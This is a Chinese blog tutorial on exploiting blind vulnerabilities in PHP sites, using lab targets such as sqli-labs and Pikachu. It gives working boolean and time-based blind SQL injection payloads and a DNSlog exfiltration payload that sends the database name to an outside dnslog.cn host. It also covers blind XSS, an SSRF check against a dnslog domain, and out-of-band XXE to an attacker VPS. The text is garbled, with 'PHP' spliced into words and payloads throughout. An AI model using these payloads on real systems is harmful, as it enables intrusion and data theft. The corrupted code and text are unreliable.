php网站漏洞(记一次PHP渗透测试实战教程)

wufei123 发布于 2024-01-05 阅读(330)

php教程菜鸟教程

0x01前言在渗透测试过程中,开发不可能每一次都将结果输出到页面上,也就是漏洞无回显的情况,那么在这种情况下,我们可以通过dnslog判断漏洞存在,或者通过起一个python的httPHPp服务来判断,方法很多,下面主要进行一些情况的分析。

0x02无回显概念无回显,即执行的payload在站点没有输出,无法进行进一步操作在渗透测试过程中,漏洞点不可能总是能够在返回页面进行输出,那么这时PHP候就需要进行一些无回显利用了0x03不同漏洞的无回显1、SQL注入无回显

SQL注入,作为OWASP常年占据榜首位置的漏洞,在无回显中也是常见的当然SQL注入在无回显上已经具有了一定的解决措施无回显我将PHP其定义为页面没有输出我们想要得到的内容,下面以sqli-labs为例进行讲解。

1.1 布尔盲注布尔盲注,盲注的一种,当网站通过查询语句的布尔值返回真假来输出页面信息的时候,查询语句为真,页面输出内容;PHP查询语句为假,页面不输出内容那么这里就可以通过构造等号判断,获取相应的字符的ascii码,最后还原出数据。

具体测试过程如下:1、id传参1之后,页面返回有数据,这里明显不能进行显错注入了。

2、在传参后PHP面加个单引号,页面返回空,不显示错误信息,不能使用报错注入。

3、通过拼接and 1=1和and 1=2,发现页面对于布尔值的真与假返回的页面结果也不同。

4、通过length()函数判断数据库库名的长度PHP大于1。?id=1’ and length(database())>1 %23

5、在大于8的时候页面返回空,所以数据库库名长度等于8。

6、通过ascii()函数和substr ()截取函数获取数据库库PHP名的第一个字符的ascii码?id=1’ and ascii(substr((select database()),1,1))>97 %23

?id=1’ and ascii(substr((selecPHPt database()),1,1))=101 %23首先用大于号判断出大概所处的值,最后使用等于号验证ascii码的值此处得出数据库库名的第一个字符的ascii码值为115,对应字符为s。

7、更改截PHP取的位置,判断后面的字符对应的ascii码值。?id=1’ and ascii(substr((select database()),2,1))=101 %23

1.2 延时盲注延时盲注,一种盲注的手法PHP在渗透测试过程中当我们不能使用显错注入、报错注入以及布尔盲注无论布尔值为真还是为假,页面都返回一样之后,我们可以尝试使用延时盲注,通过加载页面的时间长度来判断数据是否成功。

在PHP中有一个if()函数PHP,语法为if(exp1,exp2,exp3),当exp1返回为真时,执行exp2,返回为假时,执行exp3配合延时函数sleep()来获取相应数据的ascii码,最后还原成数据。

下面我将通过实例来介绍PHP如今进行延时盲注1、首先获取的页面如下,后面不论接上布尔值为真还是为假的,页面都返回一样,此时将不能使用布尔盲注。

2、通过and拼接延时函数查看页面是否有延时回显首先记录没有使用延时函数的页面返回时间PHP,为4.*秒;使用sleep(5)延时5秒之后,页面响应时间为9.*秒,说明对于我们输入的sleep()函数进行了延时处理,此处存在延时盲注。

3、通过延时注入判断数据库库名的长度一个个测试发现当长度等PHP于8时页面延时返回了,说明数据库库名长度为8?id=2’ and if((length(database())=8),sleep(5),1) %23。

4、与布尔盲注一样,将子查询的数据截断之后判断asPHPcii码,相等时延时5秒最后得到第一个字符的ascii码为115?id=2’ and if((ascii(substr((select database()),1,1))=115),sleep(5),PHP1) %23。

5、后面替换截断的位置,测试后面的字符的ascii码值最后得到对应的ascii码值为115 101 99 117 114 105 116 121通过ascii解码工具解得数据库库名为sePHPcurity

巧用dnslog进行SQL注入前面介绍了SQL注入中的盲注,通过布尔盲注或者延时盲注来获取数据需要的步骤非常繁琐,不仅需要一个一个字符的获取,最后还需要进行ascii解码,这需要花费大量的PHP时间与精力为了加快渗透进程,以及降低获取数据的难度,这里介绍如何通过dnslog进行SQL注入。

Dnslogdnslog,即dns日志,会解析访问dns服务的记录并显示出来,常被用来测试漏洞是否存在以PHP及无法获取数据的时候进行外带数据简单来说,dnslog就是一个服务器,会记录所有访问它的记录,包括访问的域名、访问的IP以及时间。

那么我们就可以通过子查询,拼接dnslog的域名,最后通过dns日志得PHP到需要的数据Load_file()函数数据库中的load_file()函数,可以加载服务器中的内容load_file(‘c:/1.txt’),读取文件并返回内容为字符串,使用load_file()函数PHP获取数据需要有以下几个条件:。

1.文件在服务器上2.指定完整路径的文件3.必须有FILE权限UNC路径UNC路径就是类似\softer这样的形式的网络路径它符合 \服务器名\服务器资源的格式在WindPHPows系统中常用于共享文件如\192.168.1.1\共享文件夹名。

Dnslog注入实例演示1、打开实例站点,很明显这里是只能使用盲注的站点。

2、通过order by判断出字段数为3。

3、在dnsloPHPg网站申请一个dnslog域名:pcijrt.dnslog.cn

4、通过load_file函数拼接查询数据库库名的子查询到dnslog的域名上,后面任意接一个不存在的文件夹名最后将这个查询放到联合查询PHP中,构造的payload如下:?id=1 union select。

1,2,load_file(concat(//,(selectdatabase()),.pcijrt.dnslog.cn PHP /abc)) %23

5、执行语句之后在dnslog日志中获取到数据库库名为security。

6、修改子查询里的内容,获取其他数据。

2、XSS无回显XSS无回显比较特殊,一般XSS漏洞的判断标准为PHP弹框,但是有这样一种情况,在一个表单提交处,内容提交之后只会在页面显示提交成功与否,不会输出提交的内容,那么我们也就无法通过弹框来判断XSS漏洞存在与否。

这时候就需要通过XSS盲打来进行攻击下面通过PPHPikachu漏洞练习平台来进行实例讲解:2.1 XSS盲打1、如图这里是一个提交看法的功能

2、随便输入内容提交,告诉我们提交成功,没有将我输入的内容返回到页面中

3、登录后台可以看到确实有数据回显

4、输PHP入弹框语句会在后台成功执行

5、在渗透测试过程中我们无法登录后台进行查看,那么就需要盲打XSS,输入XSS平台的payload,坐等管理员查看内容后上钩。

2.2 通过dnslog判断漏洞存在payloaPHPd:

3、SSRF无回显SSRF即服务端请求伪造,一种由攻击者构造的通过服务器发起请求的攻击测试代码如下:首先通过访问百度可以验证漏洞存在。

无回显情况即不进行输出,页面返回空

这种情况可以通过dnslogPHP或者python搭建http服务验证1、DNSLOGhttp://172.16.29.2/ssrf_test.php?url=http://ssrf.02c6ot.dnslog.cn

2、python起PHP的http服务python3-mhttp.server 4545

4、XXE无回显因为XML是用来存储传输数据的,除了确实是业务需要,否则开发不可能会输出内容,也就是说你确实读取到了文件内容,但是没办法PHP看到XXE无回显问题当然也是可以通过在域名前面放入查询出的内容,将数据通过dns日志记录下来。

XXE虽然不是通过DNSlog,但是也同样是外带数据流程如下:在受害者网站中,我们通过请求攻击者VPS上的PHP1.xml文件,文件内容为将某数据放在GET传参中去访问2.php然后2.php中的内容为保存GET传参的数据,将数据放入到3.txt中。

具体文件内容放在下面,里面的IP地址应该为攻击者的IP地址,这PHP3个文件也是放在攻击者VPS上1.xml

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。